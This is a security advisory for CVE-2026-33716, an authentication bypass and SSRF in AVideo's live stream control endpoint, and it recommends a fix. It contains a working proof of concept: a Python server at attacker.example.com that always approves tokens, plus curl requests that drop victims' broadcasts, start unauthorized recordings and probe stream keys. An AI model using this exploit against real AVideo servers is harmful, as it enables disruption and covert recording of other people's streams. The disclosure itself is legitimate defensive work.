AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php
Published March 25, 2026Updated March 25, 2026Source: osv
Summary
## Summary
The standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{"error": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.
## Details
The vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:
**`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config:
```php
if (!empty($_REQUEST['streamerURL'])) {
$streamerURL = $_REQUEST['streamerURL'];
}
```
**`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object:
```php
$obj->streamerURL = $streamerURL;
```
**`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL:
```php
$verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}";
// ...
$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));
```
The legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{"error": false}`.
After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.
SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.
Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF."* The same fix was not applied to `control.json.php`.
## PoC
**Step 1:** Set up an attacker server that returns `{"error": false}` for all requests.
```bash
# Minimal Python server on attacker machine (attacker.example.com:8888)
python3 -c '
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type","application/json")
self.end_headers()
self.wfile.write(json.dumps({"error": False}).encode())
def log_message(self, *a): pass
http.server.HTTPServer(("0.0.0.0", 8888), H).serve_forever()
'
```
**Step 2:** Drop a victim's live stream (kill their broadcast):
```bash
curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"
```
Expected response (authentication bypassed, command executed):
```json
{"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"drop_publisher","app":"live","name":"VICTIM_STREAM_KEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIM_STREAM_KEY"}
```
**Step 3:** Start unauthorized recording of a victim's stream:
```bash
curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=record_start&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"
```
**Step 4:** Probe whether a stream name is active:
```bash
curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=is_recording&name=GUESS_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"
```
## Impact
- **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers.
- **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content.
- **Stream Enumeration:** The `is_recording` command allows probing for valid stream names.
- **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL.
- **No authentication required:** The entire attack is performed without any credentials.
## Recommended Fix
Remove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79:
```php
// BEFORE (vulnerable):
if (!empty($_REQUEST['streamerURL'])) {
$streamerURL = $_REQUEST['streamerURL'];
}
// AFTER (fixed):
// SECURITY: User-supplied streamerURL is intentionally NOT accepted.
// Allowing it would enable authentication bypass and SSRF via file_get_contents
// on an attacker-controlled host. streamerURL MUST come from the configuration
// file or be hard-coded in this file above.
if (empty($streamerURL)) {
error_log("control.json.php: streamerURL is not configured");
die(json_encode(['error' => true, 'msg' => 'Server not configured']));
}
```
AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
How do I check if my project is affected by CVE-2026-33716?
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Severity & Exploitability
CVSS Score
9.4
Exploitation is straightforward and causes maximum impact. Patch immediately.